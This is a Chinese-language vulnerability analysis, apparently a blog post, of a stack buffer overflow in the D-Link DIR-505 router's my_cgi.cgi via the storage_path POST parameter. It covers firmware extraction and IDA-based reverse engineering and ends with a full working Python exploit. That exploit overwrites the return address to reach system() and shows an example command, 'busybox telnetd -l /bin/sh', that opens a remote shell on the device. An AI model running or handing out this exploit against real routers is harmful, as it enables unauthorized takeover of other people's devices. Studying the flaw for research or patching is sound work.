固件下载地址
漏洞描述如下。
下载之后解压缩得到DIR505A1_FW108B10.bin,通过binwalk提取出文件系统。
我们使用下面的脚本直接进行动态调试。根据my_cgi.cgi main函数反编译后的结果可知脚本中CONTENT-TYPE不能为multipart/form-data,SCRIPT_NAME不能为HNAP1。
漏洞在于处理POST参数中storage_path参数的值时发生了缓冲区溢出,所以需要构造storage_path=xxx
形式的输入。IDA中显示storage_path有八处调用。
在这八处调用中有一个get_input_entries函数,不妨先看看这个函数。运行脚本附加之后在get_input_entries调用位置0x0040A638下断点。通过动态调试+静态分析可以将该函数循环体的部分还原成如下所示的伪代码。该函数循环体的部分也就是红色块左边的部分,s3来自第二个参数a1也就是CONTENT_LENGTH,但是该函数中没有大小限制,如果CONTENT_LENGTH大于buf的长度就可能造成溢出。
阅读红色块右边部分的代码可以得知参数的伪造需要遵照storage_path=xxx
的形式,因为此时get_input_entries函数不会对参数值调用replace_special_char函数进行解码而是直接进入返回流程,否则get_input_entries函数在执行replace_special_char函数时会报错,进而导致程序崩溃。
查看main+0x7F8处对get_input_entries的调用可以得知CONTENT_LENGTH来自HTTP协议的content-length字段,这个值是攻击者可控的。验证一下POC中的偏移,确实是正确的。
在IDA中寻找system的交叉引用,发现get_remote_mac+CC处调用了system("command")
,且参数command布置在返回地址偏移+0x28处即可。
按照DIR505L-storage_path.py 192.168.0.1 "busybox telnetd -l /bin/sh"
执行下面的代码就可以获得shell了。
#!/usr/bin/env python
# #
import sys
import urllib2
try:
target = sys.argv[1]
command = sys.argv[2]
except:
print "Usage: %s <target> <command>" % sys.argv[0]
sys.exit(1)
url = "http://%s/my_cgi.cgi" % target
buf = "storage_path=" # POST parameter name
buf += "D" * 477472 # Stack filler
buf += "\x00\x40\x5B\x1C" # Overwrite $ra
buf += "E" * 0x28 # Command to execute must be at $sp+0x28
buf += command # Command to execute
buf += "\x00" # NULL terminate the command
req = urllib2.Request(url, buf)
print urllib2.urlopen(req).read()